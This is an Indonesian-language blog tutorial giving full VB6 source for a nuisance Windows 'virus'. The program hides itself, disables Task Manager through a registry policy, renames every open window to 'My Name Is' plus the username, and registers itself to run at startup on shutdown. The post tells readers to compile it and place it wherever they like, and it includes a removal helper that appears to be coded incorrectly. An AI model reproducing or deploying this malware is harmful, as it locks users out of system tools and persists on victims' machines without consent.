Membuat virus my name is

Pada kesempatan kali ini ane mau share tutorial pembuatan virus Part II
ane share tutor ini bukan berarti ngjarin agan" bwat hal yg gx bener..ane cuma mau berbagi ilmuu ajee...
langsung ajah....
buka VB6 agan.... yg gx punya download di sini

Buat project baru (standard exe) dan tambahkan
1. timer
    name : Timer1
    enable : true
    interval : 100
2. module

tulis kode ini di module

Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Dim l As Long
Public Function UbahNAma(ByVal Teks As String) ' mengubah semua judul aplikasi
l = GetWindow(GetDesktopWindow(), 5)
Do While l <> 0
SetWindowText l, Teks
l = GetWindow(l, 2)
Loop
End Function
Public Sub MatikanTaskManager(ByVal Status As Boolean)
On Error Resume Next
Dim o As Object
Set o = CreateObject("wscript.shell")
o.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", CInt(Status), "REG_DWORD"
End Sub

Sub HapusRegStartup() 'menghapus registry startup yg di buat
On Error Resume Next
Set obj = CreateObject("WScript.Shell")
obj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\Run\" & App.EXEName
End Sub
Sub BuatRegStartup() 'membuat registry startup
On Error Resume Next
Set obj = CreateObject("WScript.Shell")
obj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe", "REG_SZ"
End Sub

trus Klik 2x pada form ( F7 )
kosongin semua tulisannya trus masukin kode ini

Option Explicit
Dim isiTeks As String
Private Sub Form_Load()
If App.PrevInstance = True Then End 'mencegah aplikasi di jalan kan 2x
App.TaskVisible = False 'tak terlihat di taskmanager hanya terlihat di proccess
Me.Hide 'agar tak terlihat
isiTeks = "My Name Is " & Environ("UserName") 'Environ("UserName") untuk mengambil User name yg sedang aktif
HapusRegStartup 'menghapus reg
MatikanTaskManager True 'true untuk mematikan , false untuk menghidupkan
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
If UnloadMode = vbAppWindows Then BuatRegStartup 'membuat reg startup pada saat aplikasi di keluarkan melalui shutdown/restart
End Sub

Private Sub Timer1_Timer()
UbahNAma isiTeks
End Sub



Tulisan yg bewarna hijau boleh agan ganti sesuai selera

selesai deh,,tinggal kompile ke .exe biar standalone (berdirisendiri) dan tempat kan sesuai selera

dan untuk menghapusnya..agan cukup hidupkan kembali taskManagernya :
Buka project (standard exe) tambah kan :
1.module
2.Command Button
    name : command1

tulis kode ini di module
Public Sub MatikanTaskManager(ByVal Status As Boolean)
On Error Resume Next
Dim o As Object
Set o = CreateObject("wscript.shell")
o.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", CInt(Status), "REG_DWORD"
End Sub

dobel klik pada command button dan tambahkan kode ini

MatikanTaskManager
msgbox "Taskmanager enable",vbInformation, "Ipoel CreaTion"
end

kompile ke exe

buka taskmanager > processes > cari nama virus yg tadi agan buat > klik kanan 'end process' ( atau tekan tombol delete )

klo masih gx ngrtii... download ajah yg dah jadi DISINI
Bila debug Silakan komen

Follow me on twitter